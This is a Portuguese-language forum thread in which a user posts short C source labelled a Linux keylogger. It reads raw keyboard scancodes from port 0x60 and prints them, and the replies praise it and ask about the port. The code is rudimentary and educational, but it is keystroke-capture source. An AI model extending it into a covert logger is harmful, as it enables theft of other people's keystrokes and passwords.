[Source] Inicio keylogger Linux

Started by Alucard, 02 de December , 2007, 03:21:19 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Alucard

Um keylogger bem mas muito simples, apenas pega o numeros das teclas e imprime no shell.

//Teste keyloger
#include <stdio.h>
#include <sys/io.h>

int main() {
unsigned char c;
int porta = 0x60;

while(1) {
//Nivel de liberdade na memória
iopl(3);

//Pega um valor que passa em uma determinada porta
c = inb(porta);

//Exibe o numero da tecla precionada
printf("key=%d \n", c);

//Suspende a execução do processador por
//por um determinado tempo
usleep(1000);
}

return(0);
}


Be.Cool

que r0x mano!!!
eu estava lendo algo sobre o assunto, mais nem me aprofundei!
otimo trabalho, depois eu vou testar  ;)
vlw!

A sabedoria está em suas mãos

Binevatum

Bem interessante isso.
Porque a porta tem que ser 0x60?

Alucard

Quote from: "Binevatum"Bem interessante isso.
Porque a porta tem que ser 0x60?


Cara é na porta 0x60 é que onde o linux faz a comunicação com o teclado.
Da uma olhada... ai.
http://daniloxavier.blogspot.com/2008_0 ... chive.html

blackwinner

que bom cara, esse forum estava mesmo precisando de alguns exemplos de programas para nix like. =]
sergaralho.blogspot.com --> a informação como ela deve ser.. pura!

Binevatum

E se for usada uma porta diferente da 0x60 o que vai aparecer?
Existe alguma lista do que cada uma delas pode fazer?

Reeves

Mui bom Alucard!
to de olho ae
vamos ver como vai ficar seu projeto final
:D
  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^

Alucard

Quote from: "Binevatum"E se for usada uma porta diferente da 0x60 o que vai aparecer?
Existe alguma lista do que cada uma delas pode fazer?

Olha ia pegar os valores que ia passar pela porta.

QuoteMui bom Alucard!
to de olho ae
vamos ver como vai ficar seu projeto final
Olha eu apenas fiz um exemplo, mas posteriormente vou ver se faço um exemplo bem interessante obrigado/!